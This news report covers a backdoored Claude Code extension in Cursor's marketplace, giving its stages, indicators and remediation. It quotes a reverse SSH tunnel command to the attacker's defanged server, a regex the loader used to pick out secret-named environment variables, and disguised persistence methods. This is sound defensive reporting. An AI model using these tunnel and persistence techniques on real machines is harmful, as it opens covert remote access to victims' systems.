A Tampered Claude Code Extension Sat in Cursor's Marketplace for 11 Hours and Left an SSH Key Behind

Anyone who installed or updated anthropic.claude-code from Cursor's extension marketplace on macOS or Windows on October 29, 2026 may have an attacker's SSH key in ~/.ssh/authorized_keys and a persistence job that redials a server every 60 seconds. Versions 2.1.312 and 2.1.313 are the affected builds. The code ran when Node loaded the file, before the extension's activate function.

The first thing to do is look for a key whose comment is svc-telemetry. Then remove it, delete the persistence files listed below, and rotate credentials reachable from the machine. Removing the extension alone does not undo any of it.

What the loader does

The security firm StepSecurity found that the malicious extension.js is the clean 2.1.312 bundle with a single 7,386-byte loader prepended. The rest of the file is byte-identical to the legitimate build. The loader is minified JavaScript with plaintext constants; the only encoding is base64 around the tunnel's private key.

Phorion, an endpoint security company, published the first advisory on October 30 at 05:30 UTC. Its write-up, credited to Calum Hall, and StepSecurity's analysis describe the same stages:

1. Recon: hostname, user, OS, architecture, home directory, the global Git email, the public IP, and the names (not values) of up to 40 environment variables matching KEY|TOKEN|SECRET|PASS|AWS|GCP.
2. An Ed25519 key with the comment svc-telemetry is appended to authorized_keys.
3. An attempt to enable the SSH service.
4. A loop running ssh -N -R '*:0:localhost:22' to 134.209.82[.]225 every 60 seconds, which gives the operator a path back to the victim's SSH daemon.
5. Persistence: a LaunchAgent disguised as com.apple.sysmond on macOS, a SYSTEM scheduled task named SysMon with a Startup-folder fallback on Windows, and a @reboot cron entry on Linux.
6. A plaintext HTTP POST of the recon report to /beacon on port 8099.

StepSecurity's summary is that "the loader's entire capability is persistent SSH ingress plus a reconnaissance report." It found no second-stage download and no reading of credential values.

The score overstates the first step and understates the second

The bug-ridden enablement step is why exposure is narrower than it sounds. Phorion reports that on macOS the loader ran systemsetup -getremotelogin without root, got an administrator-access error that did not match its /Off/i test, and skipped turning SSH on. StepSecurity says macOS enablement works only where passwordless sudo is configured. Cursor says that outside unusual cases where Cursor was started with administrator privileges, this step would fail.

But the key and the persistence were still written. A machine that already had Remote Login on, which is common on developer laptops, was reachable. Phorion adds that the Windows setup command likely failed on a standard install.

Item	Detail	Source
Affected builds	2.1.312 and 2.1.313	Cursor
Platforms	macOS and Windows	Cursor, StepSecurity
Window	Oct. 29, about 09:27 to 20:35 UTC	StepSecurity
User estimate	Up to 5,000	StepSecurity, citing Cursor
Command server	134.209.82[.]225, now offline	Cursor

Who published it, and what is not known

Cursor's notice says the versions "were not developed by Anthropic." StepSecurity quotes Anthropic as saying it "did not build or publish it," and that its systems and official channels were not compromised. Anthropic confirmed to StepSecurity's researchers that 2.1.313 was never published to Open VSX or the Microsoft Marketplace; the 2.1.312 build on Open VSX is a different, clean artifact.

How the attacker obtained publishing access is not disclosed. StepSecurity writes only that "a malicious actor used access to Cursor's marketplace." Cursor did not disclose an installed-user count either. Its notice says it took the marketplace offline, audited access, found no other tampered extensions, rotated its keys, rebuilt the marketplace, and worked with the hosting provider to take the server down.

What to check

Cursor's remediation steps are to search for the svc-telemetry key (on Windows, also C:\ProgramData\ssh\administrators_authorized_keys), isolate any host showing the payload, and rebuild if in doubt. Cursor publishes remediate-macos.sh, to be run as the affected user and not as root, and remediate-windows.ps1 for an administrator PowerShell.

Phorion's list of host artifacts adds ~/.config/.smt, ~/.config/.smtk, ~/Library/LaunchAgents/com.apple.sysmond.plist and $TMPDIR/.stk_<10 hex>. Its SSH-log tip: a login from 127.0.0.1 or ::1 using the svc-telemetry key means an operator came through the tunnel.

The backdoored bundle's SHA-256 is ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15. Cursor says no other versions or official distribution are affected. For the same supply-chain pattern in a package registry, see our report on the OVHcloud CLI releases replaced in 94 minutes, and for another AI coding tool, the breaches at OpenCode and Warp.

Cursor updated its notice October 30 at 11:30 a.m. PT. A root-cause account of how the publishing access was gained has not appeared.